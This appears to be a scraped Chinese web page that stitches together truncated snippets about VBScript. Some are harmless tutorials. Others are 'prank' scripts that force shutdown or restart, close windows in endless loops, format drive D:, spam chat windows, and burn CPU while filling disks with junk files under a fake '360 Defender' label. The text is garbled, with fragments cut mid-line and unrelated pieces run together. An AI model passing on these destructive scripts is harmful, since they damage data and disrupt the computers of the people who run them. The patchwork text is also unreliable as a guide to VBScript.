我不要整人什么的，我要的是类似翻译的，还有句型 哈哈，LS的比较搞笑 先说VBS： 我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已， VB对网络的支持堪称完美，所以不少的盗号程序都选择用...CSS布局HTML小编今天和大家分享一些有趣的VBS代码 对电脑有害无害的都行，一定要多。越多越好。(多的本人多加分。)什么无害的，一个心理测试(膨胀) 有点简单。(。)...CSS布局HTML小编今天和大家分享大量VBS整人代码. ,,要好玩一点的.好的话加分.. 大量的楼上已经说了。这个是本人原创，亲测有用。...文件 如：我爱你.vbs 双击运行，电脑就会说 i love you 了 CreateObject(“SAPI.SpVoice”).Speak”I love YOU” 用vbs敲出来的表白代码窗口多一点...WScript.Echo(“怎么才来，说~是不是不关心我”) WScript.Echo(“哼,我生气拉 我想编写一个vbs整人代码来表白，谁能帮我一下 CSS布局HTML小编今天和大家分享一个vbs脚本代码
Wscript.Shell”) objShell.Run “notepad” 但是需要注意的是， 如果你要执行的可执行文件存放的地方不是程序安装的常用路径，一般情况下，需要提供合法 的路径名，但是run 在运行解析时...，遇到空格会停止，解决的方法是使用双引号，例如：在我 的机器上运行qq，代码为： objshell.run """C:\Program Files\QQ2006\QQ.exe""" ‘注：三个引号
AI可以自由发挥的途径个人认为不算少，它的自定动作（Custom Actions）可以调用exe/js/vbs等东东，但js和vbs我没什么底子，有点畏难情绪，想用自己熟悉的方式来解决问题，就是用c#写个...但仔细想想，一来，.net程序依赖CLR，虽说安装过程可以指定必要组件，强制用户把.net装好，不用担心执行到该.net程序时缺乏运行环境，但总感觉在安装包中嵌入.net程序好像不太地道，再有.net程序首次运行需唤醒...所有思来想去，还是决定搞一搞vbs。 只是他娘的，用惯优雅的C#，感觉其它语言就像屎一样，更别说像vbs这种脚本还没什么像样的ISE，总之很佩服主要coding在这些语言上的码农们，完全是受虐。...whatever~一开始本来想找找vbs调用win32 API的方法，如果可以的话，那调一调WritePrivateProfileString就完事了，可找来找去，发现似乎vbs不能直接调API（没找到官方说法...anyway，上述方法对于我做安装包来说，万万不能考虑，所以，还是老实研究地道vbs法，小有成果，分享如下： '函数：设置ini值（ini路径，目标节点，目标键，目标值） '注：若ini文件不存在则创建
可能有人不了解，代码在制作的使用，是需要跟vbs搭配，最后成为一个可以运行的代码。那么这个vbs是什么？...image.png 一、vbs是什么 简单来说就是一种脚本语言，是在vb的基础上，建立形成的，更加地简单易上手，可以制作一个小小的代码。...二、vbs简单制作教程 首先第一步是打开一个文本编辑器，随便打开一个文档；第二步就是对文档进行编辑，要记得输入代码，在代码后面加上自己想要说的话，注意要使用英文的标点符号。...这样就做好了想要的vbs代码，点开就可以查看。这是比较基础的，当然比不过专业程序员的，如果想学习更难的，可以去网上搜索视频或者课程学习，也可以报名相关课程，由专业的老师教学。...全文详细介绍了关于vbs的相关信息，虽然不是一门人人都需要会的技术。但是多学一门知识，并不会有不好的影响，既可以增加自己的学识，也可以增加乐趣，如果有兴趣的话可以学习。
telnet_tmp.vbs echo WScript.Sleep 300 >>telnet_tmp.vbs echo sh.SendKeys “open 192.168.1.200” >>telnet_tmp.vbs... echo WScript.Sleep 300 >>telnet_tmp.vbs echo sh.SendKeys “{ENTER}” >>telnet_tmp.vbs echo WScript.Sleep...300 >>telnet_tmp.vbs echo sh.SendKeys “engineer{ENTER}” >>telnet_tmp.vbs echo WScript.Sleep 300 >>...telnet_tmp.vbs echo sh.SendKeys “ls {ENTER}”>>telnet_tmp.vbs start telnet cscript //nologo telnet_tmp.vbs...发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/193554.html原文链接：https://javaforall.cn
VBS也挺强大的呢，这篇给大家演示的是获取当前时刻，并根据不同的时间段来问好！ 注：编辑器不支持vbs编程，单引号后是注释哦！
vbs整人代码大全，包括强制自动关机、打开无数计算器、无限循环等vbs整人代码，感兴趣的朋友参考下。...true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖" 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/137881.html
如果要运行的命令中包含双引号，可使用&chr(34)&代替 忽略代码错误继续执行 On Error Resume Next 放置于代码的最开头，当代码运行出错后并不停止跳出而是继续执行下一条...Scripting.FileSystemObject”) ‘声明 Set f = fso.CreateTextFile(“%PATH%”) ‘创建文件,其中f可任意，包含缩略名 f.WriteLine(“VBS...:/sample”) f.copy(“D:/sample”) fso.deletefolder(“C:/sample”) ‘(由上例可以看出，文件夹的操作很多是和文件的操作相通的，因此VBS...执行XOR逻辑运算，将其改为可读 End If ‘结束判断 Next 将Word文件另存为文本文件 Const wdFormatText = 2 ’设置常数值 (当该值为8时另存为HTML...objDoc.SaveAs “g:/doc1.txt”, wdFormatText objWord.Quit 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/143015.html
毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】 仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。...qwriteb.WriteLine “wscript.CreateObject(” & chr(34) & “wscript.shell” & chr(34) & “).run ” & chr(34) & “D:\1.vbs...vbinformation,” & chr(34) & “360 Defender” & chr(34) qwriteb.close qwrite.movefile “D:\1.txt”,”D:\1.vbs...” qstart.run “D:\1.vbs” ELSE qstart.run “cmd.exe /c shutdown -a”,0,true msgbox “由于您在说废话，但是您一定不想浪费时间说废话...qstart.run “cmd.exe /c shutdown -r -t 5”,0,true END IF 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/137415.html
Vbs 禁用启用网卡 在实际工作中，经常碰到需要通过脚本启用禁用网卡的情况，在网上找了一个脚本，实际是通过模拟键盘操作来启用禁用，但对于多种系统和比较复杂的情况操作性不好。...于是产生了一个思路，利用vbs得到网卡名字，然后调用netsh命令启用禁用网卡。...是这样，假设您的计算机运行 Windows 98。在这些计算机上，通过运行 Command.com 来调用命令外壳，因为没有 Cmd.exe。...使用 %comspec% 有助于确保无论该脚本是在什么版本的 Windows 上运行，都可以获得命令窗口。 2 此方法只适用server 2003 2008 xp不适用。
文章目录 步骤 1、打开vscode软件，编写一个html页面，如下： 2、点击扩展图标 3、搜索`open in browser`,点击安装 4、在需要运行的html页面右键，选择`open in...default browser` 步骤 1、打开vscode软件，编写一个html页面，如下： {{spanHtml}} 2、点击扩展图标 3、搜索open in browser,点击安装 4、在需要运行的html页面右键，选择open in default browser
使用方法：新建一个txt文档，将上面的代码复制到txt，然后将文档的后缀名改成vbs。鼠标双击即可执行。...") objShell.Run "shutdown -s -t 5",,true end if 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/141934.html
刷屏代码 出于无聊，跟朋友聊天突然聊到刷爆别人的屏幕，在网上搜索了一下，看到一个VBS脚本的东西，记录一下 VBSScript 使用方法： 复制需要转发的内容，点击QQ或者微信窗口，，再双击VBS脚本即可自动运行...On Error Resume Next Dim xda,ye set xda=createobject("wscript.shell") `循环次数(这是备注 运行前请删除） for i =1 to...新建txt文件，将后缀名改为xxxx.vbs 2....将上述代码复制粘贴进文件中，并删除(这是备注 运行前请删除）这几行文字 3.复制需要转发的内容，点击QQ或者微信窗口，，再双击VBS脚本即可自动运行 发布者：全栈程序员栈长，转载请注明出处：https:...//javaforall.cn/133133.html原文链接：https://javaforall.cn
=================================== VBS例子讲解--1: 用 run运行文件 set shl="createobject"("WScript.Shell") shl.run"regedit.exe..." set shl="nothing" VBS例子讲解--2: 用 FSO复制文件 Set shl = CreateObject("Scripting.FileSystemObject") shl.CopyFile...WScript属性的演示例子：运行 WScript属性的格式为： WScript.属性名。...WScript.Echo WScript.ScriptName '返回当前运行脚本的文件名。...oShellLink.Hotkey = "Ctrl+Alt+e" oShellLink.IconLocation = "notepad.exe, 0" oShellLink.Description ="VBS
1 vbs 判断shell 程序运行结束的代码 比如要通过vbs 调用format格式化d: 盘，可以使用如下代码 Set oExec=WshShell.exec("c:\windows\system32...\format.com d: /fs:ntfs /q /y") Do While oExec.Status = 0 WScript.Sleep 100 Loop 2 vbs得到程序运行路径 Set
，如：2020HZ.vbs 复制一段要发送的文案，然后双击vbs文件。...否则比较费好友~ 更多类似windows的vbs代码，如：vbs立刻关机代码 更多vbs代码： ' 进行变量声明 Dim Wshshell,Msg ' InputBox 弹窗输入bai Msg=InputBox...", "语句") ' 设置对脚本宿主对象引zhi用赋给变量 Set Wshshell = Wscript.CreateObject("Wscript.Shell") ' 运行命令参数 （这dao里打开系统自带的记事本程序...） Wshshell.run "notepad" ' 暂停 200 毫秒 （防止达不到预知的效果） Wscript.Sleep 200 ' 激活具有指定标题的窗口（确保要激活指定标题的窗体已经运行）...Wshshell.SendKeys "^{s}" ' 捕获 Wscript.Quit 的退出码 WScript.Quit 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/132307.html
VBS作为一款脚本语言，从古到今一直起着不可替代的作用，从windows的WHS到WINCC的vbs脚本，一直伴随着工控人的左右，可以说C语言是工控人的启蒙老师，那VBS脚本则是工控人的领路人。...如果你能用好VBS可以让你在工控的上位系统里游刃有余，同时还能提升自己的BIG，正因为如此，剑指工控统计过熟练掌握VBS脚本编程的工程师比不懂脚本脚本编程工程师早有女朋友3年，也就是说一个VBS脚本可以让你提前...我们先来看一个简单的 vbs脚本实例 Const aa="Hello World!"...这样可以避免在运行 Script时对常数重新赋值。例如，可以使用 “vb”或“con”作常数名的前缀，或将常数名的所有字母大写。将常数和变量区分开可以在开发复杂的 Script 时避免混乱。...弹出对话框的函数 MSGBOX("剑思庭VBS教程") WScript.Echo("剑思庭VBS教程") Set WshShell = WScript.CreateObject("WScript.Shell
xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell...wscript.createobject(“wscript.shell”) while(1) WSHshell.SendKeys “%{F4}” loop ---- 八、按500次回车 (以上代码在运行者的电脑上显示...系统 大家好 我是Vanlisa QQ137841986 今天给大家带来两个整人的VBS脚本 希望大家喜欢 VBS脚本大家都知道吧 第一个是定时关机的 如果把他发给你的QQ好友 他不懂的话 如果不输我是猪...听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、 代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，， PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。...如果不清除，将产生打开文件太多的错误提示 Close #files End If End Sub 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/135163.html
你的电脑接收到了一个自爆程序，电脑即将爆炸，请您在15秒时间内离开座位，跑到安全区位置，否则将伤害你的身体健康，我们一概不负责“ 其中这段冒号括起来的加粗字体是大家可以随便更改的，然后保存，将后缀txt改为vbs...二.表白恶搞： 前面的步骤和上面一样新建文件，然后将下面的代码复制在文档中，后缀改为vbs就行，具体代码如下： msgbox "做我女朋友好吗",vbQuestion,"在吗" msgbox ("房产写你名字...发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/126940.html原文链接：https://javaforall.cn
想知道这是怎么做的，自己也想弄一个，下面小编为大家带来了抖音vbs表白代码制作教程分享，想学习的朋友快来了解一下吧! ...抖音vbs表白代码制作教程 步骤一: 在电脑上新建一个txt文件。 步骤二: 打开txt文件，复制以下代码粘贴进去(可以修改中文部分，其它代码不要动!)。...ak47 Else MsgBox “你可以去死了”,48,”wo cao” End If End If 步骤三: 将txt文件名称后面的“.txt”改为“.vbs...步骤四: 双击改名后的vbs文件即可看到和抖音视频上一样的效果。 注意事项 若新建的txt文件不显示“.txt”，可随便打开一个文件夹，再点击，在前面打勾即可。...发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/126192.html原文链接：https://javaforall.cn
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
